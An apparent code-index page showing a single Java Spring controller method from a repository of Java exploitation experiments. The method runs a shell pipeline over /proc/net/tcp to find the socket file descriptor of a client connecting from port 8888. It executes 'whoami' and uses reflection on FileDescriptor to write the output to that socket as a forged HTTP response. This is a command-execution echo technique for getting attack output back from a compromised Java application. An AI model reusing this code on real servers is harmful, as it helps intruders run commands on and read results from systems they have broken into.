MCPcopy Index your code
hub / github.com/Firebasky/Java / test

Method test

java回显/src/main/java/com/firebasky/echo/controller/socket.java:8–55  ·  view source on GitHub ↗
()

Source from the content-addressed store, hash-verified

6@RestController
7public class socket {
8 @RequestMapping("/socket")
9 public String test(){
10 try{
11 //获取文件描述符 局限有点大 ubu 没有成功。。
12 String[] cmd = new String[]{"/bin/sh","-c","inode=`cat /proc/net/tcp|awk '{if($10>0)print}'|awk '{print $3,$10}'|grep -i 22B8|awk '{print $2}'`;fd=`ls -l /proc/$PPID/fd|grep $inode|awk '{print $9}'`;echo -n $fd"};
13 //22B8===> 8888
14 // curl --local-port 8888 target
15 java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
16 java.io.InputStreamReader isr = new java.io.InputStreamReader(in);
17 java.io.BufferedReader br = new java.io.BufferedReader(isr);
18 StringBuilder stringBuilder = new StringBuilder();
19 String line;
20 while ((line = br.readLine()) != null){
21 stringBuilder.append(line);
22 }
23 int fd = Integer.valueOf(stringBuilder.toString()).intValue();
24
25
26 //获取命令执行结果
27 cmd = new String[]{"/bin/sh","-c","whoami"};
28 in = Runtime.getRuntime().exec(cmd).getInputStream();
29 isr = new java.io.InputStreamReader(in);
30 br = new java.io.BufferedReader(isr);
31 stringBuilder = new StringBuilder();
32 while ((line = br.readLine()) != null){
33 stringBuilder.append(line);
34 }
35 String result = stringBuilder.toString();
36
37 //拼装成正常的HTTP响应
38 String response = "HTTP/1.1 200 OK\r\n"
39 + "Content-Type: text/html\r\n"
40 + "Content-Length: " + result.length()
41 + "\r\n\r\n"
42 + result
43 + "\r\n\r\n";
44
45 //写入socket
46 java.lang.reflect.Constructor c=java.io.FileDescriptor.class.getDeclaredConstructor(new Class[]{Integer.TYPE});
47 c.setAccessible(true);
48 java.io.FileOutputStream os = new java.io.FileOutputStream((java.io.FileDescriptor)c.newInstance(new Object[]{new Integer(fd)}));
49 os.write(response.getBytes());
50 os.close();
51 }catch (Exception e){
52 e.printStackTrace();
53 }
54 return "test";
55 }
56}

Callers

nothing calls this directly

Calls 3

setAccessibleMethod · 0.80
execMethod · 0.45
getBytesMethod · 0.45

Tested by

no test coverage detected